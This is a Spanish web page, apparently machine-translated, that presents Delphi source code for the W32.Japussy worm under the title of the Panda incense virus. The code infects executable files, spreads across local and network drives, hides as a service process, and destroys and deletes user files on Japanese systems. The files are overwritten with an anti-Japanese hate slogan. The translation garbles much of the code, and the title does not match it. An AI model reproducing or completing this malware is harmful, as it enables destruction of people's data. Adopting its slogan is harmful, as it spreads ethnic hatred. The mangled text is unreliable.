¿Cómo funciona el virus Panda quema incienso?
El siguiente es el código para quemar incienso panda:
Programa japussy
Usando
windows, sysutils, clases, gráficos, shellapi {, registro}.
Constante
headersize = 82432//El tamaño del virus
icon offset = $ 12eb 8 //El desplazamiento del icono principal del PE; file
p>
//El tamaño compilado en mi delphi5 sp1 puede ser diferente en otras versiones de Delphi.
//Busque la cadena hexadecimal 2800000020 y busque el desplazamiento del icono principal.
{
header size = 38912; //El tamaño del cuerpo del virus comprimido upx
iconoffset = $ 92bc//El icono principal del upx comprimido desplazamiento del archivo pe.
//uso de upx 1.24w: upx-9-8086 japussy.exe.
}
iconsize = $2e8//tamaño del icono principal del archivo pe - 744 bytes
icon tail = desplazamiento del icono+iconsize; //pe archivo principal El cola del icono
id = $44444444//Marca de infección
//Escribe código basura.
Lema = 'Si hay que destruir una raza, debe ser Yamato'+
Si hay un país que necesita ser destruido, ¡debe ser Japón! "+
* * * W32 . japussy . gusano . a * * * ';
{$r *.
res}
Función Registerserviceprocess(dwprocessid, dw type:integer):integer;
stdcall external "kernel 32. dll" //Declaración de función
Definición Variables
tmpfile:string;
si:información de inicio;
pi:process_info;
isjap:boolean = false // Etiqueta del sistema operativo japonés
{Juzga si es win9x}
La función es win9x:boolean;
Definir variables
ver: tosversioninfo ;
Inicio
resultado:=false;
ver . dwosversioninfosize:= sizeof(tosversioninfo);
si no getversionex( ver. ), luego
Salir;
if (ver . dwplatformid = ver _ platform _ win32 _ windows) entonces //win9x
Resultado: = true; /p>
Fin;
{Copiar entre secuencias}
Procesar secuencia de copia (src:tstream; startpos:integer; dst:tstream;
dstartpos: entero; recuento: entero);
Definir variables
scurpos, dcurpos: entero;
Inicio
scur pos:= src . posición;
dcurpos:= dst .seek(dstartpos, 0);
dst.copyfrom(src, recuento);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0) ; p>
Fin;
{Usar el archivo host por separado del archivo pe infectado}
Procesar el archivo de extracción (nombre de archivo: cadena);
Definir variables
sstream, dstream:tfilestream;
Iniciar
Probar
sstream:= tfilestream create(paramstr (0), fmopenread. o fmsharedenynone);
Pruebe
dstream := tfilestream.create(nombre de archivo, fmcreate);
Pruebe
sstream.seek( headersize, 0); //Omitir la parte del virus del encabezado
dstream.copyfrom(sstream, sstream. size-header size);
Finalmente
dstream.free
Fin;
Finalmente
sstream.free
Fin;
Excepto...
Fin;
Fin;
{Rellenar estructura de información de inicio}
El proceso fillstartupinfo(var si:información de inicio; estado: palabra );
Inicio
si .CB:= tamañode(si
si .
servido:= nil;
si lpdesktop:= nil;
si título de LP:= nil;
si . ;
si . wshowindow:= estado;
si CB reservado 2:= 0;
si .
Fin;
{Envío de correos electrónicos venenosos}
El proceso sendmail
Inicio
//Quién está dispuesto a completarlo ?
Fin;
{Archivo pe infectado}
Proceso de infección un archivo (nombre de archivo: cadena);
Definir variables
hdrstream, srcstream:tfilestream;
icostream, dst stream:tmemorystream;
iid:longint;
aicon:ticon;
aicon:ticon;
p>
infectado, ispe: boolean;
I: entero;
buf: char of array[0. .1]
Inicio
p>
Intenta //Error, el archivo está en uso, sal.
Si comparetext(filename,'japussy.exe') = 0 entonces //si eres tú mismo, no estarás infectado.
Salir;
Infectado:= false;
ispe:= false;
srcstream := tfilestream.create(nombre de archivo, fmopenread );
Pruebe
Para i := 0 a $108, verifique el encabezado del archivo pe.
Iniciar
srcstream.seek(i,sofrombinging);
srcstream.read(buf, 2);
Si (buf [0] = #80) y (buf [1] = #69) entonces //etiqueta PE
Inicio
ispe:= true; // es un archivo pe.
Break;
Fin;
Fin;
srcstream.seek(-4, sofromend); /p>
srcstream.read(iid, 4);
Si (iid = id) o (srcstream.size & lt10240) entonces // los archivos que sean demasiado pequeños no serán infectados.
Infectado:= true
Finalmente
srcstream.free
Fin;
Si está infectado o (No -ispe) Luego //Salir si el archivo está infectado o no.
Salir;
icostream:= tmemorystream.create;
dst stream:= tmemorystream.create;
Probar
aicon:=ticon.create;
Intenta
//Obtén el icono principal (744 bytes) del archivo infectado y guárdalo en la secuencia.
aicon.releasehandle
aicon .handle:= extraer icono(h instancia, pchar (nombre de archivo),
aicon . ;
Finalmente
aicon.free
Fin;
srcstream := tfilestream.create(nombre de archivo, fmopenread); p>
p>
//Archivo de encabezado
Secuencia HDR:= tfilestream.create(paramstr(0), fmopenread o fmsharedenynone);
Probar
/ /Escribe datos antes del icono principal del virus.
copystream(hdrstream, 0, dststream, 0, icon offset);
//Escribe el icono principal del programa actual.
copystream(icostream, 22, dststream, iconoffset, iconsize);
//Escribe los datos del icono principal del virus en la cola del virus.
copystream(hdrstream, icontail, dststream, icontail, header size-icon tail
//Escribir el programa host
copystream(srcstream, 0, dststream, headersize, src stream size);
//Escribe la bandera infectada
dststream.seek(0, 2);
iid:= $4444444 ;
dststream.write(iid, 4);
Finalmente
hdrstream.free
Fin;
Finalmente
srcstream.free
icostream.free
dststream.savetofile (nombre de archivo); //Reemplazar el archivo host
dststream.free
Fin
Excepto;
Fin
Fin
{Cambiar objetivo Eliminar; el archivo después de escribirlo en el spam}
Procedimiento smashfile(filename: string);
Definir variables
filehandle: integer;
I, tamaño, masa, máx, len: entero;
Iniciar
Probar
setfile atributos(pchar(nombre de archivo), 0); Eliminar el atributo de solo lectura
filehandle := fileopen(filename, fmopenwrite); //Abre el archivo
Prueba
size := getfilesize(filehandle , nil); //Tamaño del archivo
I:= 0;
Aleatorización;
max:= random(15); //Escribe código basura El número de tiempos aleatorios
Si max & lt entonces 5
max:= 5;
masa:= tamaño div max //Tamaño de cada bloque de intervalo
p>len := longitud(eslogan);
y i<max·do
iniciar
fileseek(filehandle, i * mass, 0); //Posicionamiento
//Escribe código basura para destruir completamente el archivo.
filewrite(filehandle, catchword, len);
inc(1
Fin
Finalmente
<; p>file close(file handle); //Cerrar el archivoFin;
deletefile(pchar(nombre de archivo)); //Eliminarlo
Eliminar...fuera
End;
End;
{Obtener la lista de unidades grabables}
Función obtener unidades:cadena ;
Definir variables
tipo de disco: palabra
d: char
cadena
I: entero;
Inicio
Para i := 0 a 25, haz // Atraviesa 26 letras.
Inicio
d:= chr(I+65);
str:= d+':\ ';
tipo de disco := get drive type(pchar(str));
//Obtiene el disco local y el disco de red.
Si (disktype = drive_fixed) o (disktype = drive_remote) entonces
Resultado:=resultado+d;
Fin;
Fin;
{Atravesar directorios, infectar y destruir archivos}
Procesar archivos de bucle (ruta, máscara: cadena);
Definir variables
I, recuento: entero;
fn, text: cadena;
subdir: t cadenas;
búsqueda rec: tsearchrec; >msg:tmsg;
la función es validir(search rec:tsearchrec):integer;
Iniciar
if(search rec . attr & lt; & gt16 ) y (searchrec.name & lt& gt'.') y
(searchrec.name & lt& gt'..') entonces
Resultado:= 0 //No es tabla de contenido.
de lo contrario, si (searchrec.attr = 16) y (searchrec.name & lt& gt'.') y
(searchrec.name & lt& gt'..') entonces
Resultado:= 1 //No es el directorio raíz.
else resultado:= 2; // es el directorio raíz.
Fin;
Inicio
si (findfirst(ruta + máscara, faanyfile, searchrec) = 0) entonces
Inicio p> p>
Repetir
peekmessage(msg, 0, 0, 0, pm_remove); //Ajusta la cola de mensajes para evitar sospechas.
Si isvaliddir(searchrec) = 0, entonces
Inicio
fn:= ruta+nombre de búsqueda;
ext: =uppercase(extractfileext(fn));
si (ext = '.exe ') o (ext = '.scr ') entonces
Iniciar
Infectar archivo(fn); //Archivo ejecutable infectado
Fin
else if (ext = '.html') o (ext = '.html') o ( text = ' . asp ') luego
Iniciar
//Infectar archivos html y asp y escribir el virus codificado en base64.
//Infectar a todos los usuarios que naveguen por esta página web.
//¿Qué jefe está dispuesto a completarlo?
Fin
De lo contrario, si text = '. wab' luego //archivo de libreta de direcciones de Outlook
Inicio
//Obtener dirección de correo electrónico de Outlook
Fin
De lo contrario, si ext = ' . adc y luego //archivo de autocompletar dirección de foxmail.
Inicio
//Obtener dirección de correo electrónico de Foxmail
Fin
De lo contrario, si ext = 'ind' entonces //archivo de la libreta de direcciones de Foxmail
Inicio
//Obtener dirección de correo electrónico de foxmail
Fin
Otros
Inicio
Si es isjap entonces // es un sistema operativo japonés.
Iniciar
si (ext='.doc') o (ext='.xls') o (ext='.
mdb ') o
(ext = '.mp3 ') o (ext = '.rm ') o (ext = '.ra ') o
(ext = '. wma ') o (ext = '.zip ') o (ext = '.rar ') o
(ext = '.mpeg ') o (ext = '.asf ') o (ext = '.jpg ') o
(ext = '.jpeg ') o (ext = '.gif ') o (ext = '.swf') o
(ext = '.pdf') o (ext = '.chm') o (ext = '.avi') luego
smash file(fn); // Destruye el archivo
Fin ;
Fin;
Fin;
//Dormir durante 200 milisegundos después de infectar o eliminar archivos para evitar sospechas causadas por el uso elevado de la CPU.
Dormir(200);
Hasta (findnext(buscar rec)<>0);
Fin;
findclose (buscar rec);
subdir:= tstringlist.create;
if (findfirst(ruta + '*.*, fadirectory, searchrec) = 0) entonces
Inicio
Repetir
Si isvaliddir(searchrec) = 1, entonces
subdir .add(search rec . name); (findnext(búsqueda rec)<>0);
End;
findclose(búsqueda rec);
count:= subdir.count -1;
para i := 0 para contar los archivos de bucle
(ruta+subdir . cadenas+' \ ',máscara);
freeandnil(subdir ); p>
Fin;
{Recorrer todos los archivos en el disco}
Procesar archivo de infección;
Definir variables
lista de controladores : string;
I, len: integer;
Inicio
Si getacp = 932, entonces //sistema operativo japonés
isjap := verdadero; //¡Vete al infierno!
lista de controladores:= obtener unidades; //Obtener la lista de discos grabables
len:= longitud(lista de controladores);
Mientras sea verdadero, hazlo //Ilimitado Bucle
Inicio
For i := len downto 1 do //Recorre cada unidad de disco.
loopfiles(driverlist + ':\ ', '*.*');//Infectado
sendmail//Enviar correos electrónicos venenosos
Sleep(1000 * 60 * 5); //Dormir durante 5 minutos
Fin;
Fin;
{Se inicia el programa principal}
Inicio
Si es win9x entonces // es win9x.
RegisterServiceProcess(getCurrentProcessID, 1)//Registrarse como proceso de servicio.
else //winnt
Inicio
//El hilo remoto se asigna al proceso del administrador de recursos.
//¿Qué hermano está dispuesto a completarlo?
Fin;
//Si es el virión original.
Si se compara texto(extract filename(paramstr(0)),' japussy.exe' ) = 0, entonces
Archivos de infección //Infección y correos electrónicos
De lo contrario //Ha parasitado el programa host y ha comenzado a funcionar.
Inicio
tmpfile:= paramstr(0); //Crea un archivo temporal
delete(tmpfile, length(tmpfile) - 4, 4);
archivotmp := archivotmp + #32 +'. exe '; // Archivo host real, un espacio más.
extraer archivo(tmpfile); //separarlo
fillstartupinfo(si, SW_show default);
createprocess(pchar(tmpfile),pchar(tmpfile) , nil, nil, true,
0, zero, '.', si, pi); // Crea un nuevo proceso para ejecutar.
infectfiles//Infecciones y correos electrónicos